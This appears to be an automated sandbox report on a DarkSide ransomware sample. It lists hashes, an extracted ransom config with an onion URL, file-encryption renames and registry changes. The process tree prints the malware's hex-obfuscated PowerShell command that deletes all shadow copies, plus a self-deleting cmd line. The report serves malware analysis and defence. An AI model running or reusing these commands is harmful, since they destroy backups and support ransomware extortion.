Analysis
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max time kernel
66s -
max time network
113s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
14-05-2021 22:23
Static task
static1
Behavioral task
behavioral1
Sample
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Resource
win10v20210410
General
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Target
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
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Size
5.9MB
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MD5
794c5aa1b0e1f9cf2fc7fe5f22117c3f
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SHA1
1821fe210298b1d22b25f1a544abcfe092999ff7
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SHA256
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
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SHA512
28c186359035e3f4bc5b4f0420c1e72de5e16fc3fa3b8d41316dd59739c552c810e180feff4637f25696f59b291b7cc00d66d969a4e7d2f460ec4471b1ad83cf
Malware Config
Extracted
C:\\README.7b336f65.TXT
darkside
http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 27 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process File renamed C:\Users\Admin\Pictures\ConvertFromMove.tif => C:\Users\Admin\Pictures\ConvertFromMove.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\CopyApprove.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\EnableStep.crw => C:\Users\Admin\Pictures\EnableStep.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\EnableStep.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\MoveSubmit.crw => C:\Users\Admin\Pictures\MoveSubmit.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\EditDebug.crw => C:\Users\Admin\Pictures\EditDebug.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\InitializeDismount.raw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\OptimizeResume.tiff.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\ProtectCheckpoint.tif => C:\Users\Admin\Pictures\ProtectCheckpoint.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\ResolveReceive.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\ApproveGet.tif => C:\Users\Admin\Pictures\ApproveGet.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\CompareDeny.crw => C:\Users\Admin\Pictures\CompareDeny.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\CopyApprove.tif => C:\Users\Admin\Pictures\CopyApprove.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\EditDebug.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\JoinInvoke.crw => C:\Users\Admin\Pictures\JoinInvoke.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\ConvertFromMove.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\InitializeDismount.raw => C:\Users\Admin\Pictures\InitializeDismount.raw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\JoinInvoke.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\ProtectCheckpoint.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\CompareDeny.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\ResolveReceive.tif => C:\Users\Admin\Pictures\ResolveReceive.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\TestSend.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\ApproveGet.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\MoveSubmit.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\OptimizeResume.tiff => C:\Users\Admin\Pictures\OptimizeResume.tiff.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\TestSend.crw => C:\Users\Admin\Pictures\TestSend.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\OptimizeResume.tiff 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Processes:
resource yara_rule behavioral2/memory/3692-130-0x0000000000F90000-0x0000000001938000-memory.dmp vmprotect -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies Control Panel 1 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Modifies registry class 5 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exepid process 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 788 powershell.exe 788 powershell.exe 788 powershell.exe 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSecurityPrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeTakeOwnershipPrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeLoadDriverPrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemProfilePrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemtimePrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeProfSingleProcessPrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeIncBasePriorityPrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeCreatePagefilePrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeBackupPrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeRestorePrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeShutdownPrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeDebugPrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemEnvironmentPrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeRemoteShutdownPrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeUndockPrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeManageVolumePrivilege 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 33 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 34 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 35 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 36 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeDebugPrivilege 788 powershell.exe Token: SeBackupPrivilege 2172 vssvc.exe Token: SeRestorePrivilege 2172 vssvc.exe Token: SeAuditPrivilege 2172 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription pid process target process PID 3692 wrote to memory of 788 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe powershell.exe PID 3692 wrote to memory of 788 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe powershell.exe PID 3692 wrote to memory of 4648 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe PID 3692 wrote to memory of 4648 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe PID 3692 wrote to memory of 4648 3692 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3692 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:788 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL2⤵PID:4648
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2172
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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MD5
4e6bfbce421737e7efe025c7db9dab1f
SHA19ea324826b23baa629e1b2b7c7831b9b6dc5632b
SHA2562aee19873ed03a99ed8ce0b960fd9ca9a057fb401ebb81fa3bc26b1a1e26bc60
SHA5129a5e854b9e43a78081bccdc5f2cca09e249888387b5889b80afd1f8ab0de6469b3972b7f987b7cb867292e3e8cb47520d00dbddb2725b9f9fdf1ffccf2aed61d